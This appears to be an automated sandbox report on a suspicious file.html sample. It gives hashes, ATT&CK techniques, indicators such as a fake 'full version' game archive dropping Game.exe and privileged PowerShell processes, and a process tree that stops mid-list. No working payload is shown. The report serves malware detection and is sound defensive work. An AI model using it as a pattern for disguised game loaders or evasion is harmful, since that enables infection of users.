3b9376ddcc2a7442358acbffbb5cb3bea57b12ca1c6b960e78122b2ceba1f305

Analysis

user interaction
yes
max time kernel
512s
max time network
513s
platform
windows11-21h2_x64
resource
win11-20260513-es
resource tags

arch:x64arch:x86image:win11-20260513-eslocale:es-esos:windows11-21h2-x64systemwindows
submitted
10/09/2026, 20:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.html
Size 327KB
Sample260910-zfejmaef47
SHA256 3b9376ddcc2a7442358acbffbb5cb3bea57b12ca1c6b960e78122b2ceba1f305
MD5 1fa41919c3d3e266c3de31671f9c0d50
SHA1 1c6210dcd9bd8d2ad9579f8a022c3b17afc8cb9a
SHA512 ea7a397f6c3b25ec4f8beb2c2859d807806006b5d17de24036acc6e93ada9eba057603d9bce6c705ae0d26ccdf46cd73c7a90bf6dda74cccdab17f84b54ab7a4
SSDEEP 3072:7YogAkHnjzxQ6KSAiTYKHQ88aW+LN7uxRLlzglKpf2rs4k:/gAkHnjzxQBSA0w88CN78Bpf2r/k
TLSH
T1D7643C25E5D2607F682B8033F27F3318B73FA483A101C965BA1CC1D5AFD198A6177B99
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2740	powershell.exe
2036	powershell.exe
2884	powershell.exe
5768	powershell.exe
4520	powershell.exe
3212	powershell.exe
6048	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
3880	Game.exe
3152	Game_patch-run.exe
952	Game.exe
5056	Game.exe

Loads dropped DLL 1 IoCs

pid	Process
3152	Game_patch-run.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
656	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5632	cmd.exe
2300	cmd.exe
640	cmd.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
5676	952	WerFault.exe	131
1796	5056	WerFault.exe	135

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Game.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Game_patch-run.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Game.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Game.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4464	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134335463848315876"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-226940941-599731907-2645636698-1000\{07C4D3DB-AEFA-460A-B809-F8ABF10B73BA}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-226940941-599731907-2645636698-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\full_version_35426925_local_game_installation.rar:Zone.Identifier	msedge.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
6068	msedge.exe
6068	msedge.exe
2740	powershell.exe
2740	powershell.exe
2036	powershell.exe
2036	powershell.exe
6048	powershell.exe
6048	powershell.exe
656	powershell.exe
656	powershell.exe
2884	powershell.exe
2884	powershell.exe
5768	powershell.exe
5768	powershell.exe
4520	powershell.exe
4520	powershell.exe
3212	powershell.exe
3212	powershell.exe
3212	powershell.exe
3212	powershell.exe
3212	powershell.exe
3212	powershell.exe
3212	powershell.exe
3212	powershell.exe
3212	powershell.exe
3212	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1392	7zFM.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 18 IoCs

pid	Process
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	1392	7zFM.exe
Token: 35	1392	7zFM.exe
Token: SeSecurityPrivilege	1392	7zFM.exe
Token: SeDebugPrivilege	2740	powershell.exe
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeDebugPrivilege	6048	powershell.exe
Token: SeDebugPrivilege	656	powershell.exe
Token: SeDebugPrivilege	2884	powershell.exe
Token: SeDebugPrivilege	5768	powershell.exe
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeIncreaseQuotaPrivilege	4520	powershell.exe
Token: SeSecurityPrivilege	4520	powershell.exe
Token: SeTakeOwnershipPrivilege	4520	powershell.exe
Token: SeLoadDriverPrivilege	4520	powershell.exe
Token: SeSystemProfilePrivilege	4520	powershell.exe
Token: SeSystemtimePrivilege	4520	powershell.exe
Token: SeProfSingleProcessPrivilege	4520	powershell.exe
Token: SeIncBasePriorityPrivilege	4520	powershell.exe
Token: SeCreatePagefilePrivilege	4520	powershell.exe
Token: SeBackupPrivilege	4520	powershell.exe
Token: SeRestorePrivilege	4520	powershell.exe
Token: SeShutdownPrivilege	4520	powershell.exe
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeSystemEnvironmentPrivilege	4520	powershell.exe
Token: SeRemoteShutdownPrivilege	4520	powershell.exe
Token: SeUndockPrivilege	4520	powershell.exe
Token: SeManageVolumePrivilege	4520	powershell.exe
Token: 33	4520	powershell.exe
Token: 34	4520	powershell.exe
Token: 35	4520	powershell.exe
Token: 36	4520	powershell.exe
Token: SeIncreaseQuotaPrivilege	4520	powershell.exe
Token: SeSecurityPrivilege	4520	powershell.exe
Token: SeTakeOwnershipPrivilege	4520	powershell.exe
Token: SeLoadDriverPrivilege	4520	powershell.exe
Token: SeSystemProfilePrivilege	4520	powershell.exe
Token: SeSystemtimePrivilege	4520	powershell.exe
Token: SeProfSingleProcessPrivilege	4520	powershell.exe
Token: SeIncBasePriorityPrivilege	4520	powershell.exe
Token: SeCreatePagefilePrivilege	4520	powershell.exe
Token: SeBackupPrivilege	4520	powershell.exe
Token: SeRestorePrivilege	4520	powershell.exe
Token: SeShutdownPrivilege	4520	powershell.exe
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeSystemEnvironmentPrivilege	4520	powershell.exe
Token: SeRemoteShutdownPrivilege	4520	powershell.exe
Token: SeUndockPrivilege	4520	powershell.exe
Token: SeManageVolumePrivilege	4520	powershell.exe
Token: 33	4520	powershell.exe
Token: 34	4520	powershell.exe
Token: 35	4520	powershell.exe
Token: 36	4520	powershell.exe
Token: SeIncreaseQuotaPrivilege	4520	powershell.exe
Token: SeSecurityPrivilege	4520	powershell.exe
Token: SeTakeOwnershipPrivilege	4520	powershell.exe
Token: SeLoadDriverPrivilege	4520	powershell.exe
Token: SeSystemProfilePrivilege	4520	powershell.exe
Token: SeSystemtimePrivilege	4520	powershell.exe
Token: SeProfSingleProcessPrivilege	4520	powershell.exe
Token: SeIncBasePriorityPrivilege	4520	powershell.exe
Token: SeCreatePagefilePrivilege	4520	powershell.exe
Token: SeBackupPrivilege	4520	powershell.exe
Token: SeRestorePrivilege	4520	powershell.exe
Token: SeShutdownPrivilege	4520	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe

Suspicious use of SendNotifyMessage 44 IoCs

pid	Process
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe
4836	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4836 wrote to memory of 4924	4836	msedge.exe	79
PID 4836 wrote to memory of 4464	4836	msedge.exe	80
PID 4836 wrote to memory of 5012	4836	msedge.exe	82
PID 4836 wrote to memory of 5012	4836	msedge.exe	82
PID 4836 wrote to memory of 4476	4836	msedge.exe	81
PID 4836 wrote to memory of 4476	4836	msedge.exe	81
PID 4836 wrote to memory of 4476	4836	msedge.exe	81
PID 4836 wrote to memory of 1612	4836	msedge.exe	84
PID 4836 wrote to memory of 1612	4836	msedge.exe	84
PID 4836 wrote to memory of 1612	4836	msedge.exe	84
PID 4836 wrote to memory of 1648	4836	msedge.exe	85
PID 4836 wrote to memory of 1648	4836	msedge.exe	85
PID 4836 wrote to memory of 1648	4836	msedge.exe	85
PID 4836 wrote to memory of 4044	4836	msedge.exe	87
PID 4836 wrote to memory of 4044	4836	msedge.exe	87
PID 4836 wrote to memory of 4044	4836	msedge.exe	87
PID 4836 wrote to memory of 5664	4836	msedge.exe	88
PID 4836 wrote to memory of 5664	4836	msedge.exe	88
PID 4836 wrote to memory of 5664	4836	msedge.exe	88
PID 4836 wrote to memory of 2152	4836	msedge.exe	89
PID 4836 wrote to memory of 2152	4836	msedge.exe	89
PID 4836 wrote to memory of 2152	4836	msedge.exe	89
PID 4836 wrote to memory of 2496	4836	msedge.exe	90
PID 4836 wrote to memory of 2496	4836	msedge.exe	90
PID 4836 wrote to memory of 2496	4836	msedge.exe	90
PID 4836 wrote to memory of 3248	4836	msedge.exe	91
PID 4836 wrote to memory of 3248	4836	msedge.exe	91
PID 4836 wrote to memory of 3248	4836	msedge.exe	91
PID 4836 wrote to memory of 3496	4836	msedge.exe	92
PID 4836 wrote to memory of 3496	4836	msedge.exe	92
PID 4836 wrote to memory of 3496	4836	msedge.exe	92
PID 4836 wrote to memory of 1052	4836	msedge.exe	93
PID 4836 wrote to memory of 1052	4836	msedge.exe	93
PID 4836 wrote to memory of 1052	4836	msedge.exe	93
PID 4836 wrote to memory of 3784	4836	msedge.exe	95
PID 4836 wrote to memory of 3784	4836	msedge.exe	95
PID 4836 wrote to memory of 6080	4836	msedge.exe	94
PID 4836 wrote to memory of 6080	4836	msedge.exe	94
PID 4836 wrote to memory of 5684	4836	msedge.exe	97
PID 4836 wrote to memory of 5668	4836	msedge.exe	98
PID 5684 wrote to memory of 600	5684	msedge.exe	99
PID 4836 wrote to memory of 2640	4836	msedge.exe	102
PID 4836 wrote to memory of 4652	4836	msedge.exe	103
PID 4836 wrote to memory of 2176	4836	msedge.exe	104
PID 4836 wrote to memory of 5420	4836	msedge.exe	105
PID 4836 wrote to memory of 5420	4836	msedge.exe	105
PID 4836 wrote to memory of 5420	4836	msedge.exe	105
PID 4836 wrote to memory of 5588	4836	msedge.exe	106
PID 4836 wrote to memory of 5588	4836	msedge.exe	106
PID 4836 wrote to memory of 5588	4836	msedge.exe	106
PID 4836 wrote to memory of 1668	4836	msedge.exe	107
PID 4836 wrote to memory of 1668	4836	msedge.exe	107
PID 4836 wrote to memory of 1668	4836	msedge.exe	107
PID 4836 wrote to memory of 6028	4836	msedge.exe	108
PID 4836 wrote to memory of 6028	4836	msedge.exe	108
PID 4836 wrote to memory of 2252	4836	msedge.exe	109
PID 4836 wrote to memory of 2252	4836	msedge.exe	109
PID 4836 wrote to memory of 2252	4836	msedge.exe	109
PID 4836 wrote to memory of 3420	4836	msedge.exe	110
PID 4836 wrote to memory of 3420	4836	msedge.exe	110
PID 4836 wrote to memory of 3420	4836	msedge.exe	110
PID 4836 wrote to memory of 4804	4836	msedge.exe	111
PID 4836 wrote to memory of 4804	4836	msedge.exe	111
PID 4836 wrote to memory of 4804	4836	msedge.exe	111

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4688	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument C:\Users\Admin\AppData\Local\Temp\file.html
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x23c,0x240,0x244,0x238,0x2b4,0x7ffbd0ffc188,0x7ffbd0ffc194,0x7ffbd0ffc1a0
  2⤵
  PID:4924
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=es --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1640,i,13654220767125346537,15156752705845177824,524288 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=2064 /prefetch:11
  2⤵
  - System Time Discovery
  PID:4464
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1512,i,9528001098779826760,6061441053325012333,262144 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=2032 /prefetch:2
  2⤵
  PID:4476
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2272,i,5863383947778251412,13343753899955592776,524288 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=2520 /prefetch:13
  2⤵
  PID:5012
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3496,i,16670227296859230180,7878265715532527079,2097152 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:1
  2⤵
  PID:1612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3520,i,618797039668948719,1469971790064916822,2097152 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=3576 /prefetch:1
  2⤵
  PID:1648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4964,i,3121995874520371375,4895513109088414676,2097152 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=4976 /prefetch:1
  2⤵
  PID:4044
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=5072,i,9621100259993797423,9885672332003054155,2097152 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=5076 /prefetch:1
  2⤵
  PID:5664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5600,i,5880994505396061465,16997877748473714130,2097152 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=5636 /prefetch:1
  2⤵
  PID:2152
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5640,i,15621231637337962793,17704457643355022120,2097152 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=5656 /prefetch:1
  2⤵
  PID:2496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=6048,i,3075406415207289900,12778322747780711424,2097152 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=6028 /prefetch:1
  2⤵
  PID:3248
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5668,i,2345488658562544750,6286293014553992867,2097152 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=6036 /prefetch:1
  2⤵
  PID:3496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3900,i,13911109414236209471,4575493008544236572,2097152 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:1
  2⤵
  PID:1052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=es --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6080,i,3940774926128375934,1406870987615872665,524288 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=6128 /prefetch:14
  2⤵
  PID:6080
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=es --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6072,i,14277798288694938619,10888486577506121739,524288 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=6108 /prefetch:14
  2⤵
  PID:3784
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=es --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6592,i,10005609317931084000,858175646219690584,524288 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=6612 /prefetch:14
  2⤵
  PID:3420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=es --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6660,i,17470790957060671337,8672367549289919406,524288 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=6668 /prefetch:14
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5684
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
    cookie_exporter.exe --cookie-json=1108
    3⤵
    PID:600
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=es --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6592,i,10005609317931084000,858175646219690584,524288 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=6612 /prefetch:14
  2⤵
  PID:5668
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=es --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6592,i,7976728562451531176,15515109306593007972,524288 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=7064 /prefetch:14
  2⤵
  PID:2640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=es --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6752,i,16088452393369798661,3858304408275260688,524288 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=7072 /prefetch:14
  2⤵
  PID:4652
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=es --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6756,i,16447505638966600087,14749466319689124824,524288 --field-trial-handle=2036,i,4654005497277330363,11896882762560999347,262144 --variations-seed-version --mojo-platform-channel-handle=6748 /prefetch:14
  2⤵
  PID:2176
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
